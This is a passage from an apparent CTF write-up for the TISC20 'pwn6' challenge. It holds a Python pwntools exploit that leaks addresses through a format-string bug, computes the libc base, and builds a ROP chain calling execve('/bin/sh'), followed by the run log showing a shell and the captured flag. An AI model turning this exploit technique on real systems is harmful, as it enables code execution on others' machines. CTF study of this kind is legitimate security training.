log.info("Got address of index 4 (format string): 0x%x" % index_4_value)
#write_index(p, index_base, 41, index_4_value, 0)
#log.info("Systems Test: 0x%x" % leak_address(p, 41))
#log.info("Verify that format string shows up: %s" % leak_data(p, 41).decode("utf-8"))
# Leak address of possible .text.
index_7_value = leak_address(p, 7)
log.info("Got address of index 7 (.text address): 0x%x" % index_7_value)
elf_start = index_7_value & 0xffffffffffffe000
log.info("ELF Start: 0x%x" % elf_start)
def leak(address):
return arbitrary_read(p, index_base, address)
elf_header = leak(elf_start)
log.info("ELF Start Bytes: %s" % elf_header)
if b'\x7fELF\x02\x01\x01' != elf_header:
log.info('Attempt failed.')
return
# Leak printf@got
printf_got_offset = 0x3fb8
printf_got = u64(leak(elf_start + printf_got_offset).ljust(8, b"\x00"))
log.info("printf@GOT: 0x%x" % printf_got)
# Leak gets@got
gets_got_offset = 0x3fc8
gets_got = u64(leak(elf_start + gets_got_offset).ljust(8, b"\x00"))
log.info("gets@GOT: 0x%x" % gets_got)
# Leak puts@got
puts_got_offset = 0x3fa8
puts_got = u64(leak(elf_start + puts_got_offset).ljust(8, b"\x00"))
log.info("puts@GOT: 0x%x" % puts_got)
# Leak rand@got
rand_got_offset = 0x3fd0
rand_got = u64(leak(elf_start + rand_got_offset).ljust(8, b"\x00"))
log.info("rand@GOT: 0x%x" % rand_got)
# Calculate stuff
libc_system_offset = 0x055410
libc_puts_offset = 0x0875a0
libc_printf_offset = 0x064e10
libc_gets_offset = 0x086af0
libc_write_offset = 0x111040
libc_read_offset = 0x110fa0
libc_binsh_offset = 0x1b75aa
libc_execl_offset = 0xe64f0
libc_execve_offset = 0xe6160
libc_open_offset = 0x110cc0
libc_ret_gadget = 0x0000000000025679
libc_mprotect_offset = 0x11b970
libc_base = puts_got - 0x0875a0
log.info('libc Base: 0x%x' % libc_base)
system_addr = libc_base + libc_system_offset
log.info('system: 0x%x' % system_addr)
puts_addr = libc_base + libc_puts_offset
log.info('puts: 0x%x' % puts_addr)
binsh_addr = libc_base + libc_binsh_offset
log.info('/bin/sh: 0x%x' % binsh_addr)
execl_addr = libc_base + libc_execl_offset
log.info('execl: 0x%x' % execl_addr)
execve_addr = libc_base + libc_execve_offset
log.info('execve: 0x%x' % execve_addr)
read_addr = libc_base + libc_read_offset
log.info('read: 0x%x' % read_addr)
open_addr = libc_base + libc_open_offset
log.info('open: 0x%x' % open_addr)
ret_addr = libc_base + libc_ret_gadget
log.info('ret gadget: 0x%x' % ret_addr)
mprotect_addr = libc_base + libc_mprotect_offset
log.info('mprotect gadget: 0x%x' % mprotect_addr)
# Calculate one gadget
# 0xe6ce9 execve("/bin/sh", rsi, rdx)
# constraints:
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL
one_gadget_offset = 0xe6ce9
one_gadget = libc_base + one_gadget_offset
log.info('One Gadget: 0x%x' % one_gadget)
# Calculate the __free_hook address
libc_free_hook_offset = 0x1eeb28
free_hook_addr = libc_base + libc_free_hook_offset
log.info("__free_hook: 0x%x" % free_hook_addr)
# Calculate the __malloc_hook address
libc_malloc_hook_offset = 0x1ebb70
malloc_hook_addr = libc_base + libc_malloc_hook_offset
log.info("__malloc_hook: 0x%x" % malloc_hook_addr)
test_address = 0x11a3 + elf_start
#arbitrary_write(p, index_base, free_hook_addr, test_address)
#free_hook_leak = u64(leak(free_hook_addr).ljust(8, b"\x00"))
#log.info("free_hook: 0x%x" % free_hook_leak)
#p.sendline('%65537cZZZZ')
# Calculate gadgets
pop_rdi_offset = 0x0000000000026b72
pop_rdi = libc_base + pop_rdi_offset
log.info('pop rdi; ret: 0x%x' % pop_rdi)
pop_rsi_offset = 0x0000000000027529
pop_rsi = libc_base + pop_rsi_offset
log.info('pop rsi; ret: 0x%x' % pop_rsi)
pop_rdx_r12_offset = 0x000000000011c1e1
pop_rdx_r12 = libc_base + pop_rdx_r12_offset
log.info('pop rdx; pop r12; ret: 0x%x' % pop_rdx_r12)
cur_gadget = 9
def add_chain(gadget):
nonlocal cur_gadget
write_index(p, index_base, cur_gadget, gadget)
cur_gadget = cur_gadget + 1
# Write the rop chain
#add_chain(pop_rdi)
#add_chain(binsh_addr)
#add_chain(ret_addr)
shellcode = open("shellcode", 'rb').read()
add_chain(pop_rdi)
add_chain(binsh_addr)
add_chain(pop_rsi)
add_chain(0)
add_chain(pop_rdx_r12)
add_chain(0)
add_chain(0xdeadbeef)
add_chain(execve_addr)
p.sendline("ZZZZ")
p.recvuntil("ZZZZ")
p.sendline("exit")
log.success("Enjoy your shell!")
#p.send(shellcode)
p.interactive()
if __name__ == '__main__':
main()
Running the exploit grants us the shell:
$ python exploit.py
[+] Opening connection to fqybysahpvift1nqtwywevlr7n50zdzp.ctf.sg on port 42000: Done
[*] Got address of index 38: 0x7ffcc6610d30
[*] RSP (index 0): 0x7ffcc6610c00
[*] Got address of index 26 (index 39): 0x7ffcc6610d38
[*] Got value of index 39: 0x7ffcc6611f5c
[*] Got address of index 4 (format string): 0x55d9e612c0a0
[*] Got address of index 7 (.text address): 0x55d9e61292e0
[*] ELF Start: 0x55d9e6128000
[*] ELF Start Bytes: b'\x7fELF\x02\x01\x01'
[*] printf@GOT: 0x7f63bd1e1e10
[*] gets@GOT: 0x7f63bd203af0
[*] puts@GOT: 0x7f63bd2045a0
[*] rand@GOT: 0x7f63bd1c7e90
[*] libc Base: 0x7f63bd17d000
[*] system: 0x7f63bd1d2410
[*] puts: 0x7f63bd2045a0
[*] /bin/sh: 0x7f63bd3345aa
[*] execl: 0x7f63bd2634f0
[*] execve: 0x7f63bd263160
[*] read: 0x7f63bd28dfa0
[*] open: 0x7f63bd28dcc0
[*] ret gadget: 0x7f63bd1a2679
[*] mprotect gadget: 0x7f63bd298970
[*] One Gadget: 0x7f63bd263ce9
[*] __free_hook: 0x7f63bd36bb28
[*] __malloc_hook: 0x7f63bd368b70
[*] pop rdi; ret: 0x7f63bd1a3b72
[*] pop rsi; ret: 0x7f63bd1a4529
[*] pop rdx; pop r12; ret: 0x7f63bd2991e1
[+] Enjoy your shell!
[*] Switching to interactive mode
$ ls -la /home/pwn6
total 44
drwxr-x--- 1 root pwn6 4096 Aug 7 15:33 .
drwxr-xr-x 1 root root 4096 Jul 25 17:24 ..
-rwxr-x--- 1 root pwn6 220 Feb 25 12:03 .bash_logout
-rwxr-x--- 1 root pwn6 3771 Feb 25 12:03 .bashrc
-rwxr-x--- 1 root pwn6 807 Feb 25 12:03 .profile
-rwxr-x--- 1 root pwn6 49 Jul 25 16:49 flag.txt
-rwxr-xr-x 1 root root 17160 Aug 7 15:33 pwn6
$ cat /home/pwn6/flag.txt
TISC20{c4n_y0u_s33_anything?_042u843hfj34d92394}
$
Flag: TISC20{c4n_y0u_s33_anything?_042u843hfj34d92394}
Leave a Comment